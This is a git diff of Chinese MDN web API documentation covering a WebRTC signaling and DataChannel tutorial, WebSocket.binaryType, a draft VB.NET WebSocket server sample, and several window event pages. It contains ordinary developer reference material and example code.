Google 运行了一个我们可以使用的公共 STUN 服务器。我也在 http://numb.viagenie.ca/ 创建了一个免费的可以访问 TURN 服务器的账户。可能你也想这么做,你只要替换到你自己的许可证书就可以了。

- - - -

ICECandidate

- - - -

创建好 PeerConnection 并传入可用的 STUNTURN 之后,当 ICE 框架找到可以使用 Peer 创建连接的 “候选者”,会立即触发一个事件(onicecandidate)。这些 “候选者” 就是 ICECandidate, 而且他们会在 PeerConnection#onicecandidate 事件中执行一个回调函数。

- -
pc.onicecandidate = function (e) {
-    // candidate exists in e.candidate
-    if (!e.candidate) return;
-    send("icecandidate", JSON.stringify(e.candidate));
-};
- -

回调函数执行之后,我们必须使用信令通道 (signal channel) 将候选发送到其他的点。在 Chrome 中,ICE 框架一般会找到重复的候选者,所以,我一般只发送第一个,然后将处理函数删除。Firfox 中将候选者包含在了 Offer SDP 中。

- -

Signal Channel

- -

现在我们有了 ICE 候选,然后需要将它发送到我们的另一端,以让它知道如何跟我们建立连接。然而,现在有一个先有鸡还是先有蛋的问题。我们想要 PeerConnection 发送数据到另一端,但是在那之前我们需要先把元数据发送过去……

- -

现在就是用到信令通道(Signal Channel)的时候了。它的任何一个数据传输方法都允许两个端点之间交换信息。在本文中,我们将使用 FireBase。因为它设置起来灰常简单,并且不需要任何主机或者服务器端的代码编写。

- -

现在我们想象只有两个两个方法:send(), 它将使用一个键,然后将数据赋值给它;recv() ,当一个键有值的时候会调用一个处理函数。

- -

数据库的结构就像下面这样:

- -
{
-    "": {
-        "candidate:": …
-        "offer": …
-        "answer": …
-    }
-}
- -

连接会被 roomId 分割,然后会保存四条信息:发起者 (oferer) 的 ICE 候选、应答者 (answerer) 的 ICE 候选、offer SDP 和 answer SDP.

- -

Offer

- -

Offer SDP 是用来向另一端描述期望格式(视频, 格式, 解编码, 加密, 解析度, 尺寸 等等)的元数据。

- -

一次信息的交换需要从一端拿到 offer,然后另外一端接受这个 offer 然后返回一个 answer。

- -
pc.createOffer(function (offer) {
-    pc.setLocalDescription(offer, function() {
-        send("offer", JSON.stringify(pc.localDescription));
-    }, errorHandler);
-}, errorHandler, options);
- -

errorHandler

- -

创建 offer 的过程如果出现问题,就会执行这个函数,并且将错误的详细信息作为第一个参数。

- -
var errorHandler = function (err) {
-    console.error(err);
-};
- -

options

- -

Offer SDP 的选项.

- -
var options = {
-    offerToReceiveAudio: true,
-    offerToReceiveVideo: true
-};
- -

offerToReceiveAudio/Video 告诉另一端,你想接收视频还是音频。对于 DataChannel 来说,这些是不需要的。

- -

offer 创建好之后,我们必须将本地 SDP 设置进去,然后通过信令通道将它发送到另一端,之久就静静地等待另一端的 Answer SDP 吧.

- -

Answer

- -

Answer SDP 跟 offer 是差不多的,只不过它是作为相应的。有点像接电话一样。我们只能在接收到 offer 的时候创建一次 Answer.

- -
recv("offer", function (offer) {
-    offer = new SessionDescription(JSON.parse(offer))
-    pc.setRemoteDescription(offer);
-
-    pc.createAnswer(function (answer) {
-        pc.setLocalDescription(answer, function() {
-            send("answer", JSON.stringify(pc.localDescription));
-        }, errorHandler);
-    }, errorHandler);
-});
- -

DataChannel

- -

我将首先阐述如何将 PeerConnection 用在 DataChannels API 上,并且如何在 peers 之间传输任意数据。

- -

注意:撰写这篇文章的时候,DataChannels 在 Chrome 和 Firefox 之间是无法互用的。Chrome 支持了一个类似的私有协议,这个协议将在不久被标准协议支持。

- -
var channel = pc.createDataChannel(channelName, channelOptions);
- -

offer 的创建者和 channel 的创建者应该是同一个 peer。 answer 的创建者将在 PeerConnection 的 ondatachannel 回调中接收到 这个 channel。你必须在创建了这个 offer 之后立即调用 createDataChannel()。

- -

channelName

- -

这个字符串会作为 channel 名字的标签。注意:确保你 Channel 的名字中没有空格,否则在 Chrome 中调用 createAnswer() 将会失败。

- -

channelOptions

- -
var channelOptions = {};
- -

当前 Chrome 还不支持这些选项,所以你可以将这些选项留空。检查 RFC 以获取更多关于这些选项的信息。

- -

Channel 事件和方法

- -

onopen

- -

当连接建立的时候会被执行。

- -

onerror

- -

连接创建出错时执行。第一个参数是一个 error 对象。

- -
channel.onerror = function (err) {
-    console.error("Channel Error:", err);
-};
- -

onmessage

- -
channel.onmessage = function (e) {
-    console.log("Got message:", e.data);
-}
- -

这是连接的核心。当你接收到消息的时候,这个方法会执行。第一个参数是一个包含了数据、接收时间和其它信息的 event 对象。

- -

onclose

- -

当连接关闭的时候执行。

- -

绑定事件

- -

如果你是这个 channel 的创建者(offerer), 你可以直接在通过 createChannel 创建的 DataChannel 上绑定事件。如果你是 answerer 你必须使用 PeerConnection 的 ondatachannel 回调去访问这个 channel。

- -
pc.ondatachannel = function (e) {
-    e.channel.onmessage = function () { … };
-};
- -

这个 channel 可以在传递到回调函数中的 event 对象中以 e.channel 的方式访问。

- -

send()

- -
channel.send("Hi Peer!");
- -

这个方法允许你直接传递数据到 peer!令人惊奇。你必须传递确保传递的数据是 String, Blob, ArrayBuffer 或者 ArrayBufferView 中的一种类型,所以,确保字符串化对象。

- -

close()

- -

在连接应该中止的时候关闭 channel。推荐在页面卸载的时候调用。

- -

Media

- -

现在我们将会涉及到如何传递诸如音视频的媒体的话题。要显示音视频,你必须在文档中加入包含 autoplay 属性的  <video> 标签。

- -

Get User Media

- -
<video id="preview" autoplay></video>
-
-var video = document.getElementById("preview");
-navigator.getUserMedia(constraints, function (stream) {
-    video.src = URL.createObjectURL(stream);
-}, errorHandler);
- -

constraints

- -

约定你想从用户获取到的媒体类型。

- -
var constraints = {
-    video: true,
-    audio: true
-};
- -

如果你只想进行音频聊天,移除 video 成员。

- -

errorHandler

- -

当返回请求的媒体错误时被调用

- -

Media Events and Methods

- -

addStream

- -

将从 getUserMedia 返回的流加入 PeerConnection。

- -
pc.addStream(stream);
- -

onaddstream

- -
<video id="otherPeer" autoplay></video>
-
-var otherPeer = document.getElementById("otherPeer");
-pc.onaddstream = function (e) {
-    otherPeer.src = URL.createObjectURL(e.stream);
-};
- -

当连接建立并且其它的 peer 通过 addStream 将流加入到了连接中时会被调用。你需要另外的 <video> 标签去显示其它 peer 的媒体。

- -

第一个参数是包含了其它 peer 流媒体的 event 对象。

diff --git a/files/zh-cn/web/api/websocket/binarytype/index.html b/files/zh-cn/web/api/websocket/binarytype/index.html new file mode 100644 index 0000000000..aad8e48fc2 --- /dev/null +++ b/files/zh-cn/web/api/websocket/binarytype/index.html @@ -0,0 +1,56 @@ +--- +title: WebSocket.binaryType +slug: Web/API/WebSocket/二进制类型 +tags: + - 参考 + - 属性 + - 应用编程接口 + - 网页套接字 + - 网页接口 +translation_of: Web/API/WebSocket/binaryType +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

+ +

语法

+ +
var binaryType = aWebSocket.binaryType;
+ +

返回值

+ +

 一条{{DOMXref("DOMString")}}:

+ +
+
"blob"
+
如果传输的是 {{domxref("Blob")}} 类型的数据。
+
"arraybuffer"
+
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 +

 

+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.binaryType")}}

diff --git "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" "b/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" deleted file mode 100644 index aad8e48fc2..0000000000 --- "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: WebSocket.binaryType -slug: Web/API/WebSocket/二进制类型 -tags: - - 参考 - - 属性 - - 应用编程接口 - - 网页套接字 - - 网页接口 -translation_of: Web/API/WebSocket/binaryType ---- -

{{APIRef("Web Sockets API")}}

- -

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

- -

语法

- -
var binaryType = aWebSocket.binaryType;
- -

返回值

- -

 一条{{DOMXref("DOMString")}}:

- -
-
"blob"
-
如果传输的是 {{domxref("Blob")}} 类型的数据。
-
"arraybuffer"
-
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 -

 

-
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.WebSocket.binaryType")}}

diff --git a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html deleted file mode 100644 index 3969f9c5ea..0000000000 --- a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: WebSocket Server Vb.NET -slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET -translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET ---- -

{{gecko_minversion_header("2")}}{{draft}}

- -

下面的示例没有优化。没有使用 .NET 4.5 Websocket。
-
- 当前版本:

- - - -

 

- -
Imports System.Net.Sockets
-Imports System.Net
-Imports System
-Imports System.Text
-Imports System.Text.RegularExpressions
-
-
-Namespace TypeDef.WebSocket
-
-    Public Class Client
-        Dim _TcpClient As System.Net.Sockets.TcpClient
-
-        Public Delegate Sub OnClientDisconnectDelegateHandler()
-        Public Event onClientDisconnect As OnClientDisconnectDelegateHandler
-
-
-        Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient)
-            Me._TcpClient = tcpClient
-        End Sub
-
-
-        Function isConnected() As Boolean
-            Return Me._TcpClient.Connected
-        End Function
-
-
-        Sub HandShake()
-            Dim stream As NetworkStream = Me._TcpClient.GetStream()
-            Dim bytes As Byte()
-            Dim data As String
-
-            While Me._TcpClient.Connected
-                While (stream.DataAvailable)
-                    ReDim bytes(Me._TcpClient.Client.Available)
-                    stream.Read(bytes, 0, bytes.Length)
-                    data = System.Text.Encoding.UTF8.GetString(bytes)
-
-                    If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then
-
-                        Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine)
-
-                        stream.Write(response, 0, response.Length)
-                        Exit Sub
-                    Else
-                        'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample)
-                        Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter
-                    End If
-                End While
-            End While
-            RaiseEvent onClientDisconnect()
-        End Sub
-
-
-        Sub CheckForDataAvailability()
-            If (Me._TcpClient.GetStream().DataAvailable) Then
-                Dim stream As NetworkStream = Me._TcpClient.GetStream()
-                Dim frameCount = 2
-                Dim bytes As Byte()
-                Dim data As String
-                ReDim bytes(Me._TcpClient.Client.Available)
-                stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it..
-
-                Try
-                    Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value)
-
-                    If length > -1 Then
-                        If length = 126 Then
-                            length = 4
-                        ElseIf length = 127 Then
-                            length = 10
-                        End If
-                    End If
-
-                    'the following is very inefficient and likely unnecessary..
-                    'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE
-
-                    Dim value As Integer = bytes(0)
-                    Dim bitArray As BitArray = New BitArray(8)
-
-                    For c As Integer = 0 To 7 Step 1
-                        If value - (2 ^ (7 - c)) >= 0 Then
-                            bitArray.Item(c) = True
-                            value -= (2 ^ (7 - c))
-                        Else
-                            bitArray.Item(c) = False
-                        End If
-                    Next
-
-
-                    Dim FRRR_OPCODE As String = ""
-
-                    For Each bit As Boolean In bitArray
-                        If bit Then
-                            FRRR_OPCODE &= "1"
-                        Else
-                            FRRR_OPCODE &= "0"
-                        End If
-                    Next
-
-
-                    Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1)
-                    Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1)
-                    Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1)
-                    Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1)
-                    Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2)
-
-
-
-                    Dim decoded(bytes.Length - (frameCount + 4)) As Byte
-                    Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)}
-
-                    Dim j As Integer = 0
-                    For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1
-                        decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4)))
-                        j += 1
-                    Next
-
-
-
-                    Select Case opCode
-                        Case Is = 1
-                            'Text Data Sent From Client
-
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            'handle this data
-
-                            Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved")
-                            Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
-                            Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)}
-
-
-                            Dim ResponseData As Byte()
-                            ReDim ResponseData((header.length + Payload.Length) - 1)
-                            'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
-                            'which tells the client that your next stream write will be a continuation frame..
-
-                            Dim index as integer = 0
-
-                            Buffer.BlockCopy(header, 0, ResponseData, index, header.length)
-                            index += header.length
-
-                            Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length)
-                            index += payload.length
-                            stream.Write(ResponseData, 0, ResponseData.Length)
-                      Case Is = 2
-                            '// Binary Data Sent From Client
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved")
-                             stream.Write(response, 0, response.Length)
-                      Case Is = 9 '// Ping Sent From Client
-                      Case Is = 10 '// Pong Sent From Client
-                      Case Else '// Improper opCode.. disconnect the client
-                            _TcpClient.Close()
-                            RaiseEvent onClientDisconnect()
-                      End Select
-                Catch ex As Exception
-                    _TcpClient.Close()
-                    RaiseEvent onClientDisconnect()
-                End Try
-            End If
-        End Sub
-    End Class
-
-
-
-    Public Class Server
-        Inherits System.Net.Sockets.TcpListener
-
-        Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client)
-        Event OnClientConnect As OnClientConnectDelegate
-
-
-        Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500)
-        Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50)
-        Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client)
-
-
-
-        Sub New(ByVal url As String, ByVal port As Integer)
-            MyBase.New(IPAddress.Parse(url), port)
-        End Sub
-
-
-        Sub startServer()
-            Me.Start()
-            PendingCheckTimer.Start()
-        End Sub
-
-
-
-        Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect
-            Me.ClientCollection.Add(client)
-            AddHandler client.onClientDisconnect, AddressOf Client_Disconnected
-            client.HandShake()
-            ClientDataAvailableTimer.Start()
-        End Sub
-
-
-        Sub Client_Disconnected()
-
-        End Sub
-
-
-        Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean
-            isClientDisconnected = False
-            If Not client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Function isClientConnected(ByVal client As WebSocket.Client) As Boolean
-            isClientConnected = False
-            If client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed
-            If Pending() Then
-                RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient()))
-            End If
-        End Sub
-
-
-        Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed
-            Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected)
-            If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop()
-
-            For Each Client As WebSocket.Client In Me.ClientCollection
-                Client.CheckForDataAvailability()
-            Next
-        End Sub
-    End Class
-End Namespace
-
-Sub Main()  'Program Entry point
-    Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer)
-    'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers
-    thread.Start()
-End Sub
-
-Public Shared WebSocketServer As TypeDef.WebSocket.Server
-Public Shared Sub StartWebSocketServer()
-    WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000)
-    WebSocketServer.startServer()
-End Sub
-
diff --git a/files/zh-cn/web/api/window/afterprint_event/index.html b/files/zh-cn/web/api/window/afterprint_event/index.html new file mode 100644 index 0000000000..3ee72441cd --- /dev/null +++ b/files/zh-cn/web/api/window/afterprint_event/index.html @@ -0,0 +1,102 @@ +--- +title: afterprint +slug: Web/Events/afterprint +translation_of: Web/API/Window/afterprint_event +--- +

在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

+ +

基本信息

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
DefaultView (<window>)
+
Default Action
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

例子

+ +

使用 addEventListener():

+ +
window.addEventListener('afterprint', (event) => {
+  console.log('After print');
+});
+ +

使用 onafterprint 时间监听属性:

+ +
window.onafterprint = (event) => {
+  console.log('After print');
+};
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-afterprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.afterprint_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/beforeprint_event/index.html b/files/zh-cn/web/api/window/beforeprint_event/index.html new file mode 100644 index 0000000000..fe9480238a --- /dev/null +++ b/files/zh-cn/web/api/window/beforeprint_event/index.html @@ -0,0 +1,100 @@ +--- +title: beforeprint +slug: Web/Events/beforeprint +translation_of: Web/API/Window/beforeprint_event +--- +

当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

+ +

基本信息

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
DefaultView (<window>)
+
Default Action
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标 (DOM 树中的最顶层目标)
type {{readonlyInline}}{{domxref("DOMString")}}时间类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
+ +

样例

+ +

使用 addEventListener()

+ +
window.addEventListener('beforeprint', (event) => {
+  console.log('Before print');
+});
+ +

使用 onbeforeprint 事件监听属性:

+ +
window.onbeforeprint = (event) => {
+  console.log('Before print');
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-beforeprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.beforeprint_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/beforeunload_event/index.html b/files/zh-cn/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..9cef2f2cfc --- /dev/null +++ b/files/zh-cn/web/api/window/beforeunload_event/index.html @@ -0,0 +1,104 @@ +--- +title: 'Window: beforeunload event' +slug: Web/Events/beforeunload +tags: + - Event + - Window + - beforeunload + - 事件 + - 参考 +translation_of: Web/API/Window/beforeunload_event +--- +

当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableYes
Interface{{domxref("Event")}}
Event handler property{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
+ +

事件使网页能够触发一个确认对话框,询问用户是否真的要离开该页面。如果用户确认,浏览器将导航到新页面,否则导航将会取消。

+ +

根据规范,要显示确认对话框,事件处理程序需要在事件上调用{{domxref("Event.preventDefault()", "preventDefault()")}}。

+ +

但是请注意,并非所有浏览器都支持此方法,而有些浏览器需要事件处理程序实现两个遗留方法中的一个作为代替:

+ + + +

某些浏览器过去在确认对话框中显示返回的字符串,从而使事件处理程序能够向用户显示自定义消息。但是,此方法已被弃用,并且在大多数浏览器中不再支持。

+ +

为避免意外弹出窗口,除非页面已与之交互,否则浏览器可能不会显示在beforeunload事件中创建的提示,甚至根本不会显示它们。

+ +

将事件处理程序/监听器加到window或 documentbeforeunload事件后,将阻止浏览器使用内存中的页面导航缓存,例如Firefox的Back-Forward缓存WebKit的Page Cache

+ +

HTML规范指出在此事件中调用{{domxref("window.alert()")}},{{domxref("window.confirm()")}}以及{{domxref("window.prompt()")}}方法,可能会失效。更多详细信息,请参见HTML规范

+ +

示例

+ +

HTML规范指出作者应该使用 {{domxref("Event.preventDefault()")}} 而非 {{domxref("Event.returnValue")}},然而,不是所有浏览器都支持这么做。

+ +
window.addEventListener('beforeunload', (event) => {
+  // Cancel the event as stated by the standard.
+  event.preventDefault();
+  // Chrome requires returnValue to be set.
+  event.returnValue = '';
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.beforeunload_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/window/blur/index.html b/files/zh-cn/web/api/window/blur/index.html new file mode 100644 index 0000000000..0aebdbb367 --- /dev/null +++ b/files/zh-cn/web/api/window/blur/index.html @@ -0,0 +1,39 @@ +--- +title: Window.blur() +slug: Web/API/Window/Window.blur() +translation_of: Web/API/Window/blur +--- +

{{APIRef}}

+ +

总结

+ +

将焦点移出顶层窗口。

+ +

语法

+ +
window.blur()
+ +

示例

+ +
window.blur();
+ +

注意

+ +

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/window/clearinterval/index.html b/files/zh-cn/web/api/window/clearinterval/index.html deleted file mode 100644 index 9a2d6e1790..0000000000 --- a/files/zh-cn/web/api/window/clearinterval/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: WindowTimers.clearInterval() -slug: Web/API/Window/clearInterval -tags: - - API - - WindowOrWorkerGlobalScope - - 参考 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval ---- -
{{ApiRef("HTML DOM")}}
- -

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

- -

语法

- -
scope.clearInterval(intervalID)
-
- -

Parameters

- -
-
intervalID
-
要取消的定时器的 ID。是由 setInterval() 返回的。
-
- -

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

- -

返回值

- -

{{jsxref("undefined")}}

- -

示例

- -

查看 setInterval() 的示例

- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/window/domcontentloaded_event/index.html b/files/zh-cn/web/api/window/domcontentloaded_event/index.html new file mode 100644 index 0000000000..67c6a44253 --- /dev/null +++ b/files/zh-cn/web/api/window/domcontentloaded_event/index.html @@ -0,0 +1,128 @@ +--- +title: DOMContentLoaded +slug: Web/Events/DOMContentLoaded +tags: + - DOMContentLoaded + - Window.open() + - load + - window.onload +translation_of: Web/API/Window/DOMContentLoaded_event +--- +

当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

+ +

模拟的css文件:CSS.php

+ +
<?php
+sleep(3);
+ +

测试代码:

+ +
<link rel="stylesheet" href="css.php">
+<script>
+document.addEventListener('DOMContentLoaded',function(){
+    console.log('3 seconds passed');
+});
+</script>
+ +

如果将link置于script之后,就会立即打印。

+ +

{{Note("同步 JavaScript 会暂停 DOM 的解析。")}}

+ +

{{Note("还有许多通用和独立的库提供跨浏览器方法来检测 DOM 是否已准备就绪")}}

+ +

加速中

+ +

如果您希望 DOM 在用户请求页面后尽可能快地解析,你可以做的一些事情是把你的 JavaScript 异步化 以及 优化样式表的加载, 由于被并行加载而减慢页面加载,从主 html 文档“窃取”流量。

+ +

常规信息

+ +
+
规范
+
HTML5
+
接口
+
Event
+
是否冒泡
+
+
能否取消
+
能 (尽管一个简单的事件被指定为不可取消)
+
目标
+
Document
+
默认行为
+
无.
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
+ +

示例

+ +
<script>
+  document.addEventListener("DOMContentLoaded", function(event) {
+      console.log("DOM fully loaded and parsed");
+  });
+</script>
+ +
<script>
+  document.addEventListener("DOMContentLoaded", function(event) {
+      console.log("DOM fully loaded and parsed");
+  });
+
+  for(var i=0; i<1000000000; i++){
+      // 这个同步脚本将延迟DOM的解析。
+      // 所以DOMContentLoaded事件稍后将启动。
+  } 
+</script>
+ +

浏览器兼容性

+ +

{{Compat("api.Window.DOMContentLoaded_event")}}

+ +

至少从Gecko 1.9.2,Chrome 6,以及Safari 4开始,就已经实现了该事件的冒泡行为.

+ +

兼容不支持该事件的浏览器

+ +

在IE8中,可以使用readystatechange事件来检测DOM文档是否加载完毕.在更早的IE版本中,可以通过每隔一段时间执行一次document.documentElement.doScroll("left")来检测这一状态,因为这条代码在DOM加载完毕之前执行时会抛出错误(throw an error)。

+ +

诸如jQuery这样的通用JS库,会提供跨浏览器的方法来检测DOM是否加载完成。也有其他专门实现该功能的脚本:contentloaded.js (只能添一个时间监听函数)以及jquery.documentReady.js (并不依赖jQuery,虽然名字中有jquery).

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/getattention/index.html b/files/zh-cn/web/api/window/getattention/index.html deleted file mode 100644 index f17531eb18..0000000000 --- a/files/zh-cn/web/api/window/getattention/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Window.getAttention() -slug: Web/API/Window/getAttention -translation_of: Web/API/Window/getAttention ---- -
{{ ApiRef() }}
- -

The Window.getAttention() method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.

- -

语法

- -
window.getAttention();
-
- -

Notes

- -

On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.

- -

On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.

- -

On Macintosh, the icon in the upper right corner of the desktop flashes.

- -

The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. getAttention will still work when used from chrome in a Gecko application.

- -

Specification

- -

DOM Level 0. Not part of specification.

- -

Browser compatibility

- - - -

{{Compat("api.Window.getAttention")}}

